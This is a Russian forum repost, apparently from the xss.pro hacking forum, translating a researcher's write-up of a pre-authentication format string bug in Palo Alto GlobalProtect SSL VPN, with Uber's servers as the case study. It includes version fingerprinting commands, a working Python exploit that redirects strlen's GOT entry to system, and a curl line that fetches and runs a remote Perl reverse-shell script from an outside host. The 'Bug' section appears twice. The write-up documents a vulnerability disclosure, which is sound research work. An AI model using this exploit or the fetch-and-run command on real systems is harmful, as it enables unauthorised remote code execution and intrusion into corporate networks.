• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Протокол SSL VPN - часть 1: PreAuth RCE на Palo Alto GlobalProtect с использованием Uber в качестве примера!

neopaket

Переводчик
Пользователь
Регистрация
14.05.2019
Сообщения
185
Реакции
205

SSL VPN защищает корпоративные активы от негативного воздействия Интернета, но что, если сам SSL VPN уязвим (Уязвимость защиты от уязвимостей :D)? После взлома сервера SSL VPN злоумышленники могут проникнуть в вашу интрасеть (Внутренняя частная сеть организации или крупного государственного ведомства) и даже "захватить" всех пользователей, подключающихся к серверу SSL VPN! В связи с его важностью в последние несколько месяцев мы начали новое исследование безопасности ведущих продуктов SSL VPN.

Мы планируем опубликовать наши результаты по 3 статьям. Мы ставим это в качестве первого, потому что мы думаем, что это интересная история и очень подходит в качестве закуски нашегоBlack Hat USA и DEFCON говорят:

  • Внедрение корпоративной интрасети, как NSA - Предварительная авторизация RCE на ведущих SSL VPN.
В наших будущих статьях мы расскажем о более серьёзных операциях и умасносяших цепочках ошибок, которые применяются чтобы взломать ваш SSL VPN. От того, как мы делаем джейлбрейк устройства и на какие векторы атак мы обращаем внимание. Мы также продемонстрируем получение root-оболочки от единственного открытого HTTPS-порта, скрытое вооружение сервера против его владельца и использование скрытой функции для захвата всех VPN-клиентов! Поэтому, остаётся только ждать ;)

История
В этой статье мы хотели бы поговорить об уязвимости в Palo Alto SSL VPN. Palo Alto называет свою линейку продуктов SSL VPN GlobalProtect. Вы можете легко идентифицировать службу GlobalPortect через перенаправление 302 /global-protect/login.esp на веб-корень

Что касается уязвимости, мы случайно обнаружили ее во время оценки служб Red Team . Сначала мы думали, что это уязвимость 0_day (Подробнее можно найти в этом разделе https://xss.pro/forums/122/). Мы начали подозревать, что уязвимость является мавло или вообще ранее неизвестной.

Мы искали по всему Интернету информацию о нами найденой уязвимости, но ничего не смогли найти. До этого [1] не было публичного эксплойта RCE, ни одна официальная рекомендация не содержит ничего подобного и не содержит CVE. Таким образом, мы считаем, что это должно быть уязвимость 1_day.


[1] Существуют некоторые эксплойты об интерфейсе управления Pan-OS, такие как CVE-2017-15944 и превосходная статья Troppers16 от @ _fel1x , но, к сожалению, они не говорят о GlobalProtect, а интерфейс открыт только для LAN порта.


Баг
Ошибка очень проста. Это ошибка форматной строки без аутентификации. sslmgr является SSL-шлюзом обработки SSL между сервером и клиентами.

Код:
$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
        <clientcert-response>
                <status>error</status>
                <msg>Invalid parameters</msg>
        </clientcert-response>


Во время извлечения параметра производится поиск строки scep-profile-name и передает ее значение в качестве snprintf формата для заполнения буфера. Это приводит к атаке форматной строки. Вы можете просто сломать сервис с %n!



Баг
Это простая ошибка форматной строки без аутентификации! sslmgr является SSL-шлюзом обработки SSL между сервером и клиентами.

Код:
$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
        <clientcert-response>
                <status>error</status>
                <msg>Invalid parameters</msg>
        </clientcert-response>



Во время извлечения параметра производится поиск строки scep-profile-name и передаётся ее значение в качестве snprintf формата для заполнения буфера. Это приводит к атаке форматной строки. Вы можете просто сломать сервис с %n!

Код:
POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36

scep-profile-name=%n%n%n%n%n...

Уязвимые версии
Согласно нашему опросу, все версии ранее 2018 июля GlobalProtect уязвимы!
  • Palo Alto GlobalProtect SSL VPN 7.1.x <7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x <8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x <8.1.3

Серия 9.x и 7.0.x не подвержены этой уязвимости.

Эксплуатация
Как только мы сможем проверить ошибку, эксплуатация становится легкой. Чтобы успешно использовать бинарный файл, нам нужно сначала определить его детальную версию. Мы можем отличить заголовок Last-Modified, например, /global-protect/portal/css/login.css от версии 8.x и версии /images/logo_pan_158.gif от 7.x!

Код:
$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

С указанной версией мы можем написать наш собственный эксплойт. Мы просто изменили указатель из strlen таблицы глобальных смещений (GOT) на таблицу связей процедур (PLT) в system.
Код:
#!/usr/bin/python

import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)


Как только модификация завершена, sslmgr веб-оболочка становится нашей, и мы можем выполнять команды с помощью:

Код:
$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

Мы сообщили об этой ошибке в Пало-Альто через форму отчета . Однако мы получили следующий ответ:

Привет Апельсинка,

Спасибо за обращение. Palo Alto Networks действительно следует скоординированному раскрытию информации об уязвимостях, о которых нам сообщают внешние исследователи. Мы не делаем CVE предметы, найденные внутри и исправленные. Эта проблема была ранее исправлена, но если вы найдете что-то в текущей версии, пожалуйста, сообщите нам.

С уважением

Хммм, похоже, эта уязвимость известна Пало-Альто, но не готова к миру!


Тематическое исследование
Мы опросили все VPN-сервисы Palo Alto SSL в мире, чтобы выяснить, существуют ли какие-либо крупные корпорации, использующие уязвимый GlobalProtect, и Uber - одна из них! Согласно нашему опросу, Uber владеет около 22 серверами, на которых работает GlobalProtect по всему миру, здесь мы возьмем vpn.awscorp.uberinternal.com (Пример)

По доменному имени, мы предполагаем, что Uber использует BYOL от AWS Marketplace . На странице входа в систему кажется, что Uber использует версию 8.x, и мы можем указать возможную целевую версию из списка поддерживаемых версий на обзорной странице Marketplace:

  • 8.0.3
  • 8.0.6
  • 8.0.8
  • 8.0.9
  • 8.1.0

Наконец, мы выяснили версию, это 8.0.6, и вернули оболочку!

2019-04-17_005857.png



Uber дал ответ очень быстро и сделал правильный шаг, чтобы исправить уязвимость, и Uber дал нам подробное объяснение решения о вознаграждении:

Эй, @orange - мы хотели предоставить немного больше информации о решении для этой награды. Во время нашего внутреннего расследования мы обнаружили, что SSL-VPN Palo Alto отличается от основного VPN, который используется большинством наших сотрудников.

Кроме того, мы разместили SSL-VPN Palo Alto в AWS, в отличие от нашей базовой инфраструктуры; как таковой, он не смог бы получить доступ к какой-либо нашей внутренней инфраструктуре или основным услугам. По этим причинам мы определили, что, хотя это был не прошедший проверку подлинности RCE, общее влияние и позиционное преимущество этого было низким. Еще раз спасибо за отличный отчет!

Это справедливое решение. Это всегда прекрасное время, чтобы общаться с Uber и сообщать об их программе баунти-багов . Нас не волнует щедрость, потому что мы получаем удовольствие от всего процесса исследования и обратной связи с сообществом безопасности! Ничто не может быть лучше, чем это!

Спасибо за прочтение данной статьи и пока ;) Спасибо tabac
neopaket
Оригинальная статья: https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html




 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх